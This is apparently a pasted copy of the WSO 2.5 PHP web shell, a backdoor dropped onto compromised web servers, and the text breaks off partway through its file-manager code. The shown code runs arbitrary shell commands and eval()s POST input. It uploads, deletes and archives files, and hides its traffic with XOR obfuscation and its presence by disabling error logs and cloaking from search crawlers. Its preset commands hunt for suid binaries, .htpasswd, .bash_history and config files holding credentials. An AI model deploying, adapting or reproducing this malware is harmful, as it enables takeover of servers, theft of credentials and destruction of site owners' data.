· 8 years ago · Feb 23, 2018, 09:58 AM
1$color = "#ddff55";
2$default_use_ajax = true;
3$default_charset = 'Windows-1251';
4$default_action='FilesMan';
5$default_key = md5($_SERVER['HTTP_USER_AGENT']);
6if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
7 $s = 'WSOsetcookie';
8 $s(md5($_SERVER['HTTP_HOST'])."key", $default_key);
9}
10if(empty($_POST['charset']))
11 $_POST['charset'] = $default_charset;
12if (!isset($_POST['ne'])) {
13 if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
14 if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
15 if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
16 if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
17 if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
18}
19function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
20
21@ini_set('error_log',NULL);
22@ini_set('log_errors',0);
23@ini_set('max_execution_time',0);
24@set_time_limit(0);
25//@set_magic_quotes_runtime(0);
26@define('WSO_VERSION', '2.5');
27
28if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
29 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
30
31
32if(get_magic_quotes_gpc()) {
33 function WSOstripslashes($array) {
34 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
35 }
36 $_POST = WSOstripslashes($_POST);
37 $_COOKIE = WSOstripslashes($_COOKIE);
38}
39
40
41if(strtolower(substr(PHP_OS,0,3)) == "win")
42 $os = 'win';
43else
44 $os = 'nix';
45
46$safe_mode = @ini_get('safe_mode');
47if(!$safe_mode)
48 error_reporting(0);
49
50$disable_functions = @ini_get('disable_functions');
51$home_cwd = @getcwd();
52if(isset($_POST['c']))
53 @chdir($_POST['c']);
54$cwd = @getcwd();
55if($os == 'win') {
56 $home_cwd = str_replace("\\", "/", $home_cwd);
57 $cwd = str_replace("\\", "/", $cwd);
58}
59if($cwd[strlen($cwd)-1] != '/')
60 $cwd .= '/';
61
62
63if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
64 function posix_getpwuid($p) {return false;} }
65if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
66 function posix_getgrgid($p) {return false;} }
67
68function wsoEx($in) {
69 $out = '';
70 if (function_exists('exec')) {
71 @exec($in,$out);
72 $out = @join("\n",$out);
73 } elseif (function_exists('passthru')) {
74 ob_start();
75 @passthru($in);
76 $out = ob_get_clean();
77 } elseif (function_exists('system')) {
78 ob_start();
79 @system($in);
80 $out = ob_get_clean();
81 } elseif (function_exists('shell_exec')) {
82 $out = shell_exec($in);
83 } elseif (is_resource($f = @popen($in,"r"))) {
84 $out = "";
85 while(!@feof($f))
86 $out .= fread($f,1024);
87 pclose($f);
88 }
89 return $out;
90}
91
92function wsoViewSize($s) {
93 if($s >= 1073741824)
94 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
95 elseif($s >= 1048576)
96 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
97 elseif($s >= 1024)
98 return sprintf('%1.2f', $s / 1024 ) . ' KB';
99 else
100 return $s . ' B';
101}
102
103function wsoPerms($p) {
104 if (($p & 0xC000) == 0xC000)$i = 's';
105 elseif (($p & 0xA000) == 0xA000)$i = 'l';
106 elseif (($p & 0x8000) == 0x8000)$i = '-';
107 elseif (($p & 0x6000) == 0x6000)$i = 'b';
108 elseif (($p & 0x4000) == 0x4000)$i = 'd';
109 elseif (($p & 0x2000) == 0x2000)$i = 'c';
110 elseif (($p & 0x1000) == 0x1000)$i = 'p';
111 else $i = 'u';
112 $i .= (($p & 0x0100) ? 'r' : '-');
113 $i .= (($p & 0x0080) ? 'w' : '-');
114 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
115 $i .= (($p & 0x0020) ? 'r' : '-');
116 $i .= (($p & 0x0010) ? 'w' : '-');
117 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
118 $i .= (($p & 0x0004) ? 'r' : '-');
119 $i .= (($p & 0x0002) ? 'w' : '-');
120 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
121 return $i;
122}
123
124function wsoPermsColor($f) {
125 if (!@is_readable($f))
126 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
127 elseif (!@is_writable($f))
128 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
129 else
130 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
131}
132
133function wsoScandir($dir) {
134 if(function_exists("scandir")) {
135 return scandir($dir);
136 } else {
137 $dh = opendir($dir);
138 while (false !== ($filename = readdir($dh)))
139 $files[] = $filename;
140 return $files;
141 }
142}
143
144function wsoWhich($p) {
145 $path = wsoEx('which ' . $p);
146 if(!empty($path))
147 return $path;
148 return false;
149}
150
151function actionRC() {
152 if(!@$_POST['p1']) {
153 $a = array(
154 "uname" => php_uname(),
155 "php_version" => phpversion(),
156 "wso_version" => WSO_VERSION,
157 "safemode" => @ini_get('safe_mode')
158 );
159 echo serialize($a);
160 } else {
161 eval($_POST['p1']);
162 }
163}
164
165function WSOsetcookie($k, $v) {
166 $_COOKIE[$k] = $v;
167 setcookie($k, $v);
168}
169
170function actionLogout() {
171 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
172 die('bye!');
173}
174
175function actionSelfRemove() {
176
177 if($_POST['p1'] == 'yes')
178 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
179 die('Shell has been removed');
180 else
181 echo 'unlink error!';
182 if($_POST['p1'] != 'yes')
183 wsoHeader();
184 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
185 wsoFooter();
186}function wsoHeader() {
187 if(empty($_POST['charset']))
188 $_POST['charset'] = $GLOBALS['default_charset'];
189 global $color;
190 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
191<style>
192body{background-color:#444;color:#e1e1e1;}
193body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
194table.info{ color:#fff;background-color:#222; }
195span,h1,a{ color: $color !important; }
196span{ font-weight: bolder; }
197h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
198div.content{ padding: 5px;margin-left:5px;background-color:#333; }
199a{ text-decoration:none; }
200a:hover{ text-decoration:underline; }
201.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
202.bigarea{ width:100%;height:300px; }
203input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
204form{ margin:0px; }
205#toolsTbl{ text-align:center; }
206.toolsInp{ width: 300px }
207.main th{text-align:left;background-color:#5e5e5e;}
208.main tr:hover{background-color:#5e5e5e}
209.l1{background-color:#444}
210.l2{background-color:#333}
211pre{font-family:Courier,Monospace;}
212</style>
213<script>
214 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
215 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
216 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
217 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
218 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
219 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
220 var d = document;
221
222 function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
223 function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
224 function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
225 function set(a,c,p1,p2,p3,charset) {
226 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
227 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
228 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
229 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
230 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
231 d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
232 d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
233 d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
234 d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
235 d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
236 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
237 }
238 function g(a,c,p1,p2,p3,charset) {
239 set(a,c,p1,p2,p3,charset);
240 d.mf.submit();
241 }
242 function a(a,c,p1,p2,p3,charset) {
243 set(a,c,p1,p2,p3,charset);
244 var params = 'ajax=true';
245 for(i=0;i<d.mf.elements.length;i++)
246 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
247 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
248 }
249 function sr(url, params) {
250 if (window.XMLHttpRequest)
251 req = new XMLHttpRequest();
252 else if (window.ActiveXObject)
253 req = new ActiveXObject('Microsoft.XMLHTTP');
254 if (req) {
255 req.onreadystatechange = processReqChange;
256 req.open('POST', url, true);
257 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
258 req.send(params);
259 }
260 }
261 function processReqChange() {
262 if( (req.readyState == 4) )
263 if(req.status == 200) {
264 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
265 var arr=reg.exec(req.responseText);
266 eval(arr[2].substr(0, arr[1]));
267 } else alert('Request error!');
268 }
269</script>
270<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
271<form method=post name=mf style='display:none;'>
272<input type=hidden name=a>
273<input type=hidden name=c>
274<input type=hidden name=p1>
275<input type=hidden name=p2>
276<input type=hidden name=p3>
277<input type=hidden name=charset>
278</form>";
279 $freeSpace = @diskfreespace($GLOBALS['cwd']);
280 $totalSpace = @disk_total_space($GLOBALS['cwd']);
281 $totalSpace = $totalSpace?$totalSpace:1;
282 $release = @php_uname('r');
283 $kernel = @php_uname('s');
284 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
285 if(strpos('Linux', $kernel) !== false)
286 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
287 else
288 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
289 if(!function_exists('posix_getegid')) {
290 $user = @get_current_user();
291 $uid = @getmyuid();
292 $gid = @getmygid();
293 $group = "?";
294 } else {
295 $uid = @posix_getpwuid(posix_geteuid());
296 $gid = @posix_getgrgid(posix_getegid());
297 $user = $uid['name'];
298 $uid = $uid['uid'];
299 $group = $gid['name'];
300 $gid = $gid['gid'];
301 }
302
303 $cwd_links = '';
304 $path = explode("/", $GLOBALS['cwd']);
305 $n=count($path);
306 for($i=0; $i<$n-1; $i++) {
307 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
308 for($j=0; $j<=$i; $j++)
309 $cwd_links .= $path[$j].'/';
310 $cwd_links .= "\")'>".$path[$i]."/</a>";
311 }
312
313 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
314 $opt_charsets = '';
315 foreach($charsets as $item)
316 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
317
318 $m = array('Console'=>'Console','FilesMan'=>'FilesMan','Sql'=>'Sql');;
319 if(!empty($GLOBALS['auth_pass']))
320 $m['Logout'] = 'Logout';
321 $m['Self remove'] = 'SelfRemove';
322 $menu = '';
323 foreach($m as $k => $v)
324 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
325
326 $drives = "";
327 if($GLOBALS['os'] == 'win') {
328 foreach(range('c','z') as $drive)
329 if(is_dir($drive.':\\'))
330 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
331 }
332 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
333 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
334 . ' <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
335 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . "Hidden" . '</nobr></td></tr></table>'
336 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
337}function wsoFooter() {
338 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
339 echo "
340</div>
341<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
342 <tr>
343 <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
344 <td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
345 </tr><tr>
346 <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
347 <td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
348 </tr><tr>
349 <td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
350 <td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
351 <input type=hidden name=a value='FilesMan'>
352 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
353 <input type=hidden name=p1 value='uploadFile'>
354 <input type=hidden name=ne value=''>
355 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
356 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
357 </tr></table></div></body></html>";
358} if(!empty($_SERVER['HTTP_USER_AGENT'])) {
359 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
360 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
361 header('HTTP/1.0 404 Not Found');
362 exit;
363 }
364} if($os == 'win')
365 $aliases = array(
366 "List Directory" => "dir",
367 "Find index.php in current dir" => "dir /s /w /b index.php",
368 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
369 "Show active connections" => "netstat -an",
370 "Show running services" => "net start",
371 "User accounts" => "net user",
372 "Show computers" => "net view",
373 "ARP Table" => "arp -a",
374 "IP Configuration" => "ipconfig /all"
375 );
376else
377 $aliases = array(
378 "List dir" => "ls -lha",
379 "list file attributes on a Linux second extended file system" => "lsattr -va",
380 "show opened ports" => "netstat -an | grep -i listen",
381 "process status" => "ps aux",
382 "Find" => "",
383 "find all suid files" => "find / -type f -perm -04000 -ls",
384 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
385 "find all sgid files" => "find / -type f -perm -02000 -ls",
386 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
387 "find config.inc.php files" => "find / -type f -name config.inc.php",
388 "find config* files" => "find / -type f -name \"config*\"",
389 "find config* files in current dir" => "find . -type f -name \"config*\"",
390 "find all writable folders and files" => "find / -perm -2 -ls",
391 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
392 "find all service.pwd files" => "find / -type f -name service.pwd",
393 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
394 "find all .htpasswd files" => "find / -type f -name .htpasswd",
395 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
396 "find all .bash_history files" => "find / -type f -name .bash_history",
397 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
398 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
399 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
400 "Locate" => "",
401 "locate httpd.conf files" => "locate httpd.conf",
402 "locate vhosts.conf files" => "locate vhosts.conf",
403 "locate proftpd.conf files" => "locate proftpd.conf",
404 "locate psybnc.conf files" => "locate psybnc.conf",
405 "locate my.conf files" => "locate my.conf",
406 "locate admin.php files" =>"locate admin.php",
407 "locate cfg.php files" => "locate cfg.php",
408 "locate conf.php files" => "locate conf.php",
409 "locate config.dat files" => "locate config.dat",
410 "locate config.php files" => "locate config.php",
411 "locate config.inc files" => "locate config.inc",
412 "locate config.inc.php" => "locate config.inc.php",
413 "locate config.default.php files" => "locate config.default.php",
414 "locate config* files " => "locate config",
415 "locate .conf files"=>"locate '.conf'",
416 "locate .pwd files" => "locate '.pwd'",
417 "locate .sql files" => "locate '.sql'",
418 "locate .htpasswd files" => "locate '.htpasswd'",
419 "locate .bash_history files" => "locate '.bash_history'",
420 "locate .mysql_history files" => "locate '.mysql_history'",
421 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
422 "locate backup files" => "locate backup",
423 "locate dump files" => "locate dump",
424 "locate priv files" => "locate priv"
425 );
426
427function actionConsole() {
428 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
429 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
430 $_POST['p1'] .= ' 2>&1';
431 } elseif(!empty($_POST['p1']))
432 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
433
434 if(isset($_POST['ajax'])) {
435 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
436 ob_start();
437 echo "d.cf.cmd.value='';\n";
438 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\'\0"));
439 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
440 if(@chdir($match[1])) {
441 $GLOBALS['cwd'] = @getcwd();
442 echo "c_='".$GLOBALS['cwd']."';";
443 }
444 }
445 echo "d.cf.output.value+='".$temp."';";
446 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
447 $temp = ob_get_clean();
448 echo strlen($temp), "\n", $temp;
449 exit;
450 }
451 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
452 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
453 wsoHeader();
454 echo "<script>
455if(window.Event) window.captureEvents(Event.KEYDOWN);
456var cmds = new Array('');
457var cur = 0;
458function kp(e) {
459 var n = (window.Event) ? e.which : e.keyCode;
460 if(n == 38) {
461 cur--;
462 if(cur>=0)
463 document.cf.cmd.value = cmds[cur];
464 else
465 cur++;
466 } else if(n == 40) {
467 cur++;
468 if(cur < cmds.length)
469 document.cf.cmd.value = cmds[cur];
470 else
471 cur--;
472 }
473}
474function add(cmd) {
475 cmds.pop();
476 cmds.push(cmd);
477 cmds.push('');
478 cur = cmds.length-1;
479}
480</script>";
481 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
482 foreach($GLOBALS['aliases'] as $n => $v) {
483 if($v == '') {
484 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
485 continue;
486 }
487 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
488 }
489
490 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
491 if(!empty($_POST['p1'])) {
492 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
493 }
494 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
495 echo '</form></div><script>d.cf.cmd.focus();</script>';
496 wsoFooter();
497} function actionFilesMan() {
498 if (!empty ($_COOKIE['f']))
499 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
500
501 if(!empty($_POST['p1'])) {
502 switch($_POST['p1']) {
503 case 'uploadFile':
504 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
505 echo "Can't upload file!";
506 break;
507 case 'mkdir':
508 if(!@mkdir($_POST['p2']))
509 echo "Can't create new dir";
510 break;
511 case 'delete':
512 function deleteDir($path) {
513 $path = (substr($path,-1)=='/') ? $path:$path.'/';
514 $dh = opendir($path);
515 while ( ($item = readdir($dh) ) !== false) {
516 $item = $path.$item;
517 if ( (basename($item) == "..") || (basename($item) == ".") )
518 continue;
519 $type = filetype($item);
520 if ($type == "dir")
521 deleteDir($item);
522 else
523 @unlink($item);
524 }
525 closedir($dh);
526 @rmdir($path);
527 }
528 if(is_array(@$_POST['f']))
529 foreach($_POST['f'] as $f) {
530 if($f == '..')
531 continue;
532 $f = urldecode($f);
533 if(is_dir($f))
534 deleteDir($f);
535 else
536 @unlink($f);
537 }
538 break;
539 case 'paste':
540 if($_COOKIE['act'] == 'copy') {
541 function copy_paste($c,$s,$d){
542 if(is_dir($c.$s)){
543 mkdir($d.$s);
544 $h = @opendir($c.$s);
545 while (($f = @readdir($h)) !== false)
546 if (($f != ".") and ($f != ".."))
547 copy_paste($c.$s.'/',$f, $d.$s.'/');
548 } elseif(is_file($c.$s))
549 @copy($c.$s, $d.$s);
550 }
551 foreach($_COOKIE['f'] as $f)
552 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
553 } elseif($_COOKIE['act'] == 'move') {
554 function move_paste($c,$s,$d){
555 if(is_dir($c.$s)){
556 mkdir($d.$s);
557 $h = @opendir($c.$s);
558 while (($f = @readdir($h)) !== false)
559 if (($f != ".") and ($f != ".."))
560 copy_paste($c.$s.'/',$f, $d.$s.'/');
561 } elseif(@is_file($c.$s))
562 @copy($c.$s, $d.$s);
563 }
564 foreach($_COOKIE['f'] as $f)
565 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
566 } elseif($_COOKIE['act'] == 'zip') {
567 if(class_exists('ZipArchive')) {
568 $zip = new ZipArchive();
569 if ($zip->open($_POST['p2'], 1)) {
570 chdir($_COOKIE['c']);
571 foreach($_COOKIE['f'] as $f) {
572 if($f == '..')
573 continue;
574 if(@is_file($_COOKIE['c'].$f))
575 $zip->addFile($_COOKIE['c'].$f, $f);
576 elseif(@is_dir($_COOKIE['c'].$f)) {
577 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
578 foreach ($iterator as $key=>$value) {
579 $zip->addFile(realpath($key), $key);
580 }
581 }
582 }
583 chdir($GLOBALS['cwd']);
584 $zip->close();
585 }
586 }
587 } elseif($_COOKIE['act'] == 'unzip') {
588 if(class_exists('ZipArchive')) {
589 $zip = new ZipArchive();
590 foreach($_COOKIE['f'] as $f) {
591 if($zip->open($_COOKIE['c'].$f)) {
592 $zip->extractTo($GLOBALS['cwd']);
593 $zip->close();
594 }
595 }
596 }
597 } elseif($_COOKIE['act'] == 'tar') {
598 chdir($_COOKIE['c']);
599 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
600 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
601 chdir($GLOBALS['cwd']);
602 }
603 unset($_COOKIE['f']);
604 setcookie('f', '', time() - 3600);
605 break;
606 default:
607 if(!empty($_POST['p1'])) {
608 WSOsetcookie('act', $_POST['p1']);
609 WSOsetcookie('f', serialize(@$_POST['f']));
610 WSOsetcookie('c', @$_POST['c']);
611 }
612 break;
613 }
614 }
615 wsoHeader();
616 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
617 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
618 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
619 global $sort;
620 $sort = array('name', 1);
621 if(!empty($_POST['p1'])) {
622 if(preg_match('!s_([A-z]+)_(d{1})!', $_POST['p1'], $match))
623 $sort = array($match[1], (int)$match[2]);
624 }
625echo "<script>
626 function sa() {
627 for(i=0;i<d.files.elements.length;i++)
628 if(d.files.elements[i].type == 'checkbox')
